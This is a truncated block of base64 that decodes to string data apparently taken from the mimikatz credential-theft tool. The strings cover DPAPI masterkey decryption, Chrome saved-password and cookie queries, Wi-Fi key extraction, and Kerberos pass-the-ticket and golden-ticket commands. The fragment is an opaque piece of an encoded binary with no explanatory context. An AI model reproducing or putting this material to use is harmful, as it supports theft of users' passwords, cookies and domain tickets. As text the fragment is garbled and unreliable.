AdwB3AGEAbgAAAAAAAAAAAFcAdwBhAG4AIAB0AGUAcwB0AAAAAAAAAGMAaAByAG8AbQBlAAAAAABDAGgAcgBvAG0AZQAgAHQAZQBzAHQAAABjAGEAYwBoAGUAAAAAAAAAZABwAGEAcABpAAAAAAAAAAAAAAAAAAAARABQAEEAUABJACAATQBvAGQAdQBsAGUAIAAoAGIAeQAgAEEAUABJACAAbwByACAAUgBBAFcAIABhAGMAYwBlAHMAcwApAAAAAAAAAAAAAABEAGEAdABhACAAUAByAG8AdABlAGMAdABpAG8AbgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAgAHAAcgBvAGcAcgBhAG0AbQBpAG4AZwAgAGkAbgB0AGUAcgBmAGEAYwBlAAAAaQBuAAAAAAAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAgACUAcwAKAAAAAAAAAG8AdQB0AAAAVwByAGkAdABlACAAdABvACAAZgBpAGwAZQAgACcAJQBzACcAIABpAHMAIABPAEsACgAAAAAAAABkAGEAdABhADoAIAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGIAbABvAGIAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABkAGEAdABhAAAAAAAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuAAAAZQBuAHQAcgBvAHAAeQAAAG0AYQBjAGgAaQBuAGUAAABwAHIAbwBtAHAAdAAAAAAAYwAAAAAAAAAKAGQAYQB0AGEAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAZgBsAGEAZwBzACAAIAAgACAAIAAgACAAOgAgAAAAAABwAHIAbwBtAHAAdAAgAGYAbABhAGcAcwA6ACAAAAAAAGUAbgB0AHIAbwBwAHkAIAAgACAAIAAgADoAIAAAAAAAQgBsAG8AYgA6AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcAByAG8AdABlAGMAdAAgADsAIABDAHIAeQBwAHQAUAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABwAHIAbwB0AGUAYwB0AGUAZAAAAAAAAABzAGkAZAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAaABhAHMAaAAAAAAAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABOAG8AIABzAHUAaQB0AGEAYgBsAGUAIABrAGUAeQAgAGYAbwB1AG4AZAAgAGkAbgAgAGMAYQBjAGgAZQAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgACgAbQBhAGMAaABpAG4AZQAsACAAdABoAGUAbgAgAHUAcwBlAHIAKQA6ACAAAAAAAAAAKgAqACAATQBBAEMASABJAE4ARQAgACoAKgAKAAAAAAAqACoAIABVAFMARQBSACAAKgAqAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkACgAAAAAAAAAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AOgAgAAAAAAAAAAAAcABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAbgBvAHIAbQBhAGwAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzACAAKAAlAHMAIAB1AHMAZQByACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHAAYQBzAHMAdwBvAHIAZAAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABoAGEAcwBoADoAIAAAAAAAAAAAACAAKABuAHQAbABtACAAdAB5AHAAZQApAAoAAAAAAAAAIAAoAHMAaABhADEAIAB0AHkAcABlACkACgAAAAAAAAAgACgAPwApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwB1AHMAZQByAEgAYQBzAGgACgAAAAAACgBbAGQAbwBtAGEAaQBuAGsAZQB5AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAKAAAAAAAAAHAAdgBrAAAACgBbAGQAbwBtAGEAaQBuAGsAZQB5AF0AIAB3AGkAdABoACAAUgBTAEEAIABwAHIAaQB2AGEAdABlACAAawBlAHkACgAAAAAAcgBwAGMAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFAAQwAKAAAAAABkAGMAAAAAAGQAbwBtAGEAaQBuAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAGQAbwBtAGEAaQBuAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAASQBuAHAAdQB0ACAAbQBhAHMAdABlAHIAawBlAHkAcwAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZABoAGkAcwB0ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcwBoAGEAMQAAAAAAAAAAAAoAIAAgAFsAZQBuAHQAcgB5ACAAJQB1AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAAAAAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAA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sIG9yaWdpbl91cmwsIHVzZXJuYW1lX3ZhbHVlLCBwYXNzd29yZF92YWx1ZSBmcm9tIGxvZ2lucwAAAAAACgBVAFIATAAgACAAIAAgACAAOgAgACUALgAqAFMAIAAoACAAJQAuACoAUwAgACkACgBVAHMAZQByAG4AYQBtAGUAOgAgACUALgAqAFMACgAAAAAAAAAAAFAAYQBzAHMAdwBvAHIAZAA6ACAAJQAuACoAUwAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAHMAcQBsAGkAdABlADMAXwBzAHQAZQBwADoAIAAlAFMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAHMAcQBsAGkAdABlADMAXwBwAHIAZQBwAGEAcgBlAF8AdgAyADoAIAAlAFMACgAAAGNvb2tpZXMAc2VsZWN0IGhvc3Rfa2V5LCBwYXRoLCBuYW1lLCBjcmVhdGlvbl91dGMsIGV4cGlyZXNfdXRjLCBlbmNyeXB0ZWRfdmFsdWUgZnJvbSBjb29raWVzIG9yZGVyIGJ5IGhvc3Rfa2V5LCBwYXRoLCBuYW1lAAAAAAAAAAAAAAAAAAAKAEgAbwBzAHQAIAAgADoAIAAlAC4AKgBTACAAKAAgACUALgAqAFMAIAApAAoATgBhAG0AZQAgACAAOgAgACUALgAqAFMACgBEAGEAdABlAHMAIAA6ACAAAAAAAAAAAAAgAC0APgAgAAAAAAAAAAAAQwBvAG8AawBpAGUAOgAgACUALgAqAFMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAE4AZQBpAHQAaABlAHIAIAB0AGgAZQAgAHQAYQBiAGwAZQAgACcAbABvAGcAaQBuAHMAJwAgAG8AcgAgAHQAaABlACAAdABhAGIAbABlACAAJwBjAG8AbwBrAGkAZQBzACcAIABlAHgAaQBzAHQAIQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAG8AcABlAG4AXwB2ADIAOgAgACUAUwAgACgAJQBTACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAHMAcQBsAGkAdABlADMAXwBpAG4AaQB0AGkAYQBsAGkAegBlADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABJAG4AcAB1AHQAIAAnAEwAbwBnAGkAbgAgAEQAYQB0AGEAJwAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgAiACUAJQBsAG8AYwBhAGwAYQBwAHAAZABhAHQAYQAlACUAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAVQBzAGUAcgAgAEQAYQB0AGEAXABEAGUAZgBhAHUAbAB0AFwATABvAGcAaQBuACAARABhAHQAYQAiACkACgAAAHNlbGVjdCBjb3VudCgqKSBmcm9tIHNxbGl0ZV9tYXN0ZXIgd2hlcmUgdHlwZT0ndGFibGUnIGFuZCBuYW1lPT8AAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQBfAGkAcwBUAGEAYgBsAGUARQB4AGkAcwB0ACAAOwAgAHMAcQBsAGkAdABlADMAXwBzAHQAZQBwADoAIAAlAFMACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlAF8AaQBzAFQAYQBiAGwAZQBFAHgAaQBzAHQAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAGIAaQBuAGQAXwB0AGUAeAB0ADoAIAAlAFMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBpAHMAVABhAGIAbABlAEUAeABpAHMAdAAgADsAIABzAHEAbABpAHQAZQAzAF8AcAByAGUAcABhAHIAZQBfAHYAMgA6ACAAJQBTAAoAAAAAAAAAAAAAAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABMAGUAZwBhAGMAeQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAKABzACkAOgAKAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABDAHIAZQBkAGUAbgB0AGkAYQBsADoACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAASQBuAHAAdQB0ACAAQwBSAEUARAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAAAAAHAAbwBsAGkAYwB5AAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUABvAGwAaQBjAHkAIABLAGUAeQBzADoACgAAAAAAAAAAACAAIABBAEUAUwAxADIAOAAgAGsAZQB5ADoAIAAAAAAAIAAgAEEARQBTADIANQA2ACAAawBlAHkAOgAgAAAAAAAgACAAPgAgAEEAdAB0AHIAaQBiAHUAdABlACAAJQB1ACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAcABvAGwAaQBjAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAYwByAGUAZAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEkAbgBwAHUAdAAgAEMAcgBlAGQAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AYwByAGUAZAA6AGYAaQBsAGUAKQAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFACAARQB4AHAAbwByAHQAIABmAGwAYQBnAHMAOgAKAAAAAABIajFkaVE2a3BVeDdWQzRtAAAAAAAAAAAAAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBTAEkARwBOAEEAVABVAFIARQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAAAAAAAcgBhAHcAXwBzAGkAZwBuAGEAdAB1AHIAZQAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQQBUAF8ARQBYAEMASABBAE4ARwBFACAARQB4AHAAbwByAHQAIABmAGwAYQBnAHMAOgAKAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBFAFgAQwBIAEEATgBHAEUAIABQAHIAaQB2AGEAdABlACAASwBlAHkAOgAKAAAAAAAAAAAAcgBhAHcAXwBlAHgAYwBoAGEAbgBnAGUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAASQBuAHAAdQB0ACAAQwBBAFAASQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAFAAcgBvAHAAZQByAHQAaQBlAHMAOgAKAAAANmpua2Q1SjNaZFFEdHJzdQAAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAAAAAAAAAB4VDVyWlc1cVZWYnJ2cHVBAAAAAAAAAAByAGEAdwAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAASQBuAHAAdQB0ACAAQwBOAEcAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABuAGEAbQBlAAAAAAAAAAAAUAByAG8AZgBpAGwAZQAgACcAJQBzACcACgAKAAAAAABTAFMASQBEAAAAAAAAAAAAIAAqACAAUwBTAEkARAAgAAAAAAAAAAAAbgBhAG0AZQAgACAAIAAgACAAOgAgACUAcwAKAAAAAABoAGUAeAAAAGgAZQB4ACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAPwAKAAAAAABhAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AAAAAACAAKgAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgA6ACAAJQBzAAoAAAAAAGUAbgBjAHIAeQBwAHQAaQBvAG4AAAAAACAAKgAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIAAgACAAIAA6ACAAJQBzAAoAAAAAAGsAZQB5AE0AYQB0AGUAcgBpAGEAbAAAACAAKgAgAEsAZQB5ACAATQBhAHQAZQByAGkAYQBsACAAIAA6ACAAAABXAEUAUAAAACgAaABlAHgAKQAgAAAAAAAlAC4AKgBTAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB3AGkAZgBpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAaQBmAGkAIAA7ACAASQBuAHAAdQB0ACAAVwBsAGEAbgAgAFgATQBMACAAcAByAG8AZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAATgBhAG0AZQAAAAAAAAAAAEEAYwBjAGUAcwBzAFMAdAByAGkAbgBnAAAAAAAAAAAAIAAqACAAQQBjAGMAZQBzAHMAUwB0AHIAaQBuAGcAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAABTAHUAYgBzAGMAcgBpAGIAZQByAEkARAAAAAAAAAAAACAAKgAgAFMAdQBiAHMAYwByAGkAYgBlAHIASQBEACAAIAA6ACAAAAAlAC4AKgBzAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAdwBhAG4AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwB3AGEAbgAgADsAIABJAG4AcAB1AHQAIABXAHcAYQBuACAAWABNAEwAIABwAHIAbwBmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLZXJiZXJvcwAAAAAAAAAAcAB0AHQAAABQAGEAcwBzAC0AdABoAGUALQB0AGkAYwBrAGUAdAAgAFsATgBUACAANgBdAAAAAABsAGkAcwB0AAAAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0ACgAcwApAAAAAABhAHMAawAAAEEAcwBrACAAbwByACAAZwBlAHQAIABUAEcAUwAgAHQAaQBjAGsAZQB0AHMAAAAAAHQAZwB0AAAAUgBlAHQAcgBpAGUAdgBlACAAYwB1AHIAcgBlAG4AdAAgAFQARwBUAAAAAAAAAAAAcAB1AHIAZwBlAAAAAAAAAFAAdQByAGcAZQAgAHQAaQBjAGsAZQB0ACgAcwApAAAAZwBvAGwAZABlAG4AAAAAAFcAaQBsAGwAeQAgAFcAbwBuAGsAYQAgAGYAYQBjAHQAbwByAHkAAABIAGEAcwBoACAAcABhAHMAcwB3AG8AcgBkACAAdABvACAAawBlAHkAcwAAAAAAAABwAHQAYwAAAFAAYQBzAHMALQB0AGgAZQAtAGMAYwBhAGMAaABlACAAWwBOAFQANgBdAAAAAAAAAGMAbABpAHMAdAAAAAAAAA